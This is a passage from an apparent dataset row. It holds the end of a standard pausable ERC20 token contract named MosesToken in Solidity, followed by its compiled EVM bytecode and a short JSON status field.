allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MosesToken is PausableToken {
string public name = "Moses";
string public symbol = "MOS";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 1000000000000000000000000000;
function MosesToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de5780632ff2e9dc14610208578063313ce5671461021d5780633f4ba83a146102325780635c975abb14610249578063661884631461025e57806370a08231146102825780638456cb59146102a35780638da5cb5b146102b857806395d89b41146102e9578063a9059cbb146102fe578063d73dd62314610322578063dd62ed3e14610346578063f2fde38b1461036d575b600080fd5b34801561010157600080fd5b5061010a61038e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a036004351660243561041c565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610447565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a036004358116906024351660443561044d565b34801561021457600080fd5b506101cc61047a565b34801561022957600080fd5b506101cc610480565b34801561023e57600080fd5b50610247610486565b005b34801561025557600080fd5b506101a36104fe565b34801561026a57600080fd5b506101a3600160a060020a036004351660243561050e565b34801561028e57600080fd5b506101cc600160a060020a0360043516610532565b3480156102af57600080fd5b5061024761054d565b3480156102c457600080fd5b506102cd6105ca565b60408051600160a060020a039092168252519081900360200190f35b3480156102f557600080fd5b5061010a6105d9565b34801561030a57600080fd5b506101a3600160a060020a0360043516602435610634565b34801561032e57600080fd5b506101a3600160a060020a0360043516602435610658565b34801561035257600080fd5b506101cc600160a060020a036004358116906024351661067c565b34801561037957600080fd5b50610247600160a060020a03600435166106a7565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104145780601f106103e957610100808354040283529160200191610414565b820191906000526020600020905b8154815290600101906020018083116103f757829003601f168201915b505050505081565b60035460009060a060020a900460ff161561043657600080fd5b610440838361073c565b9392505050565b60005481565b60035460009060a060020a900460ff161561046757600080fd5b6104728484846107a2565b949350505050565b60075481565b60065481565b600354600160a060020a0316331461049d57600080fd5b60035460a060020a900460ff1615156104b557600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561052857600080fd5b610440838361091b565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a0316331461056457600080fd5b60035460a060020a900460ff161561057b57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104145780601f106103e957610100808354040283529160200191610414565b60035460009060a060020a900460ff161561064e57600080fd5b6104408383610a0b565b60035460009060a060020a900460ff161561067257600080fd5b6104408383610aee565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146106be57600080fd5b600160a060020a03811615156106d357600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156107b957600080fd5b600160a060020a0384166000908152600160205260409020548211156107de57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561080e57600080fd5b600160a060020a038416600090815260016020526040902054610837908363ffffffff610b8716565b600160a060020a03808616600090815260016020526040808220939093559085168152205461086c908363ffffffff610b9916565b600160a060020a0380851660009081526001602090815260408083209490945591871681526002825282812033825290915220546108b0908363ffffffff610b8716565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561097057336000908152600260209081526040808320600160a060020a03881684529091528120556109a5565b610980818463ffffffff610b8716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610a2257600080fd5b33600090815260016020526040902054821115610a3e57600080fd5b33600090815260016020526040902054610a5e908363ffffffff610b8716565b3360009081526001602052604080822092909255600160a060020a03851681522054610a90908363ffffffff610b9916565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b22908363ffffffff610b9916565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610b9357fe5b50900390565b60008282018381101561044057fe00a165627a7a723058209a220fad2e0991ff0befd4e7182c548844db0edd69924839809f793eec4462600029 | {"success": true, "error": null, "results": {}} | 10,399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.